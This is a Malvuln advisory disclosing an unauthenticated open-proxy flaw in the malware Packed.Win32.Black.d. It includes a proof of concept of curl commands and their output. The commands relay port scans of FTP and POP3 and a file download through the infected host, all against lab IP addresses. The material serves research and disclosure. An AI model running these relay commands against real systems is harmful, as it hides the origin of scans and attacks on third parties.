Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3a36d7ab34b3241aa2a9072700e0cb7c.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Packed.Win32.Black.d
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 1080 and 8080 and drops a hidden executable named "Hacker.com.cn.exe" under Windows dir" that runs with SYSTEM integrity. Third-party adversaries who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host. The relay does not require authentication or any special User-agent check and leverages the HTTP Host header in the request to connect to third-party systems.
Type: PE32
MD5: 3a36d7ab34b3241aa2a9072700e0cb7c
Vuln ID: MVID-2021-0201
Dropped files: 
Disclosure: 05/04/2021

Exploit/PoC:
Port scan FTP 21)

curl http://192.168.88.127:8080 -H "Host: 192.168.88.129:21" -v
Rebuilt URL to: http://192.168.88.127:8080/
Trying 192.168.88.127...
TCP_NODELAY set
Connected to 192.168.88.127 (192.168.88.127) port 8080 (#0)
GET / HTTP/1.1
Host: 192.168.88.129:21
User-Agent: curl/7.55.1
Accept: */*

220 INetSim FTP Service ready.
500 Unknown command.

Port scan POP3 port 110)

curl http://192.168.88.127:8080 -H "Host: 192.168.88.129:110" -v
Rebuilt URL to: http://192.168.88.127:8080/
Trying 192.168.88.127...
TCP_NODELAY set
Connected to 192.168.88.127 (192.168.88.127) port 8080 (#0)
GET / HTTP/1.1
Host: 192.168.88.129:110
User-Agent: curl/7.55.1
Accept: */*

+OK INetSim POP3 Server ready <5073.1619409936@pop3host>
-ERR Unknown command.

Download files)

curl http://192.168.88.127:8080/DOOM.exe -H "Host: 192.168.88.129" -v --output DOOM.exe
Trying 192.168.88.127...
TCP_NODELAY set
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 192.168.88.127 (192.168.88.127) port 8080 (#0)
GET /DOOM.exe HTTP/1.1
Host: 192.168.88.129
User-Agent: curl/7.55.1
Accept: */*

HTTP 1.0, assume close after body
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.6
Date: Mon, 26 Apr 2021 04:09:39 GMT
Content-type: application/x-msdos-program
Content-Length: 103533
Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT

{ [78487 bytes data]
 75  101k   75 78487    0     0  78487      0  0:00:01  0:00:01 --:--:-- 72807* transfer closed with 25046 bytes remaining to read
 75  101k   75 78487    0     0  78487      0  0:00:01  0:00:01 --:--:-- 69766
* Closing connection 0


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